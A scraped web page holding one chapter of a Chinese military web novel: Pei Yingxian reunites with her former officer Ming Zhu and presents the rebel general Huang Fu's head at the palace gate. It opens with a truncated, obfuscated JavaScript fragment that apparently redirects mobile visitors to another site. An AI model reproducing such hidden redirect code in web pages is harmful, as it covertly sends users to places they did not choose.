l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17003013|193937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方才那波放松的蓬州兵训练有素多了。她微微拧起了眉毛。 队伍模糊的影子在夜幕中浮现。这队人与她们人数相当,且同样没有携带火把,沉默而迅疾地在夜色中飞奔。 第一位骑手自裴应弦面前飞驰而过,她心口莫名一跳,总觉得那人身形有些眼熟。但天色太暗,来者的五官藏在一片模糊的昏黑之后,她实在分辨不出。 就在这时,她听见身旁的萧鸣玉忽而讶然低声道:“明……微州兵?” 微州兵? 薛令仪这么快便带人攻城了么?怎么可能? 裴应弦眯起眼睛仔细辨认,居然还真看出了点不对——这队人身上的甲,好像还真是微州兵的甲。不,并非所有微州兵都能穿甲,这些人身上的甲,是她所领的那部独有的轻甲! ——是当时随她进城的人? 是了,她为什么会觉得为首的人眼熟——那是当时她麾下的屯长之一,明烛明晖煜! 裴应弦令身后人持弓戒备,而后自转角闪出,呼道:“前方诸位可是微州勇士?” 她的位置紧贴高墙,即便对方已投敌叛变,要回身射她,她也能比她们更快地闪回墙后。 昏暗的夜色中,那队人猛然刹住了。短暂地徘徊后,一人越众而出,戒备地问:“什么人?” 那声音裴应弦很熟悉了。她立时唤道:“明晖煜?” 那人顿了顿,声音自警惕犹疑变得惊喜:“裴希大人?” “大人,是我!”明烛驱马前跃,停在裴应弦身前几步外,“居然是您!我还以为自己听错了……” 看到那张年轻而欣喜的面孔,裴应弦心里五味杂陈。 在薛令仪麾下做军司马时,明烛就是四个屯长里最信服裴应弦、也与她最亲近的那个。这名伏野郡乡下出身的少年带着一腔热血投在伏野郡守的门下,却一直未得重用,直到薛令仪整兵西进前,裴应弦路过演武场边看到她。春雨淅沥,少年人滚了满身的泥泞,还在龇牙咧嘴地用力,要用湿漉漉的、打滑的双手举起一支沉重的马槊。那时明烛确如她的姓名般,在阴雨天昏沉的傍晚明亮得惊人。 裴应弦欣赏她身上的光芒,塞给她一枚玉扳指,要她回头到府上寻自己。而后,明烛成了她麾下的屯长,也是裴应弦在微州军中最信任的下属。 被敌军冲散撤进澧阳城时,明烛就跟在她身边。后来在梧桐大道上迎面撞见大批蓬州兵,裴应弦让手下的士兵们散开进街巷里与敌军周旋。自那之后,变故一桩接着一桩,她也试图探听过她们的下落,却在事态的步步紧逼下不了了之。 谁能想到竟在这种时候、在这种地方遇见? 与裴应弦一道继续往前时,明烛开始解释自己为何会出现:“那天晚上散开后,蓬州兵紧追不舍,跟在我身后的只有不到二十人。我们一直往北边跑,直到马跑不动了,还有姊妹的马中了箭,我们就弃马躲在路边荒废的屋子里,把马槊捆在战马身上,然后点燃了马的尾巴,让它们冲了出去……后来实在躲不下去了,又有姊妹伤得很严重,我想起大人您是高亭郡主之后,便领着大家去了府上……所幸我身上还有您赠给我那枚玉扳指,不然门房不见得会许我们进去呢!” “我们几个姊妹时刻关注着城里的情况,今天傍晚,外面似乎乱起来了,之前守在出城道上的蓬州兵都去向不明,不知是怎么回事。我就想,也许能趁此机会出城去,这才匆忙往外赶,谁承想竟遇上大人了!” 很聪明,很果断,很敏锐,行动力很强,口才恐怕也不差。她身边正是缺人的时候,明烛的出现可以说是十分及时。 裴应弦侧头看向身边少年明亮的眼睛,忽而在疾驰中笑起来:“好啊!晖煜,我们正要去做一件大事——不,我们已经做了一件大事,但你来得还不算晚。我问你,你可要与我同往?” 明烛一刻也未曾犹豫:“万死不辞!” 交谈间,她们已踏上梧桐大街,马蹄声在大道上响成一片闷雷。 梧桐大街宽阔平整,直通宫城。城楼上灯火通明,守城的将士们披坚执锐,紧密地盯着已然陷落的澧阳外城。 裴应弦一把甩下身上伪装蓬州兵的衣衫,雪亮的银甲映着遥远的火光。她纵马前冲,一直冲到整支队伍的最前方,而后扯下系在身前的布袋,从中取出了宣武将军的头颅。 在城头将士们紧张的注视与喝止声中,裴应弦抓着凝满涸血的散乱长发,猛地将那颗不肯瞑目的头颅高高举起。 她的声音清越、嘹亮,惊醒城上所有疲惫倦怠的双耳:“臣裴希,为陛下献上——叛将黄福首级!”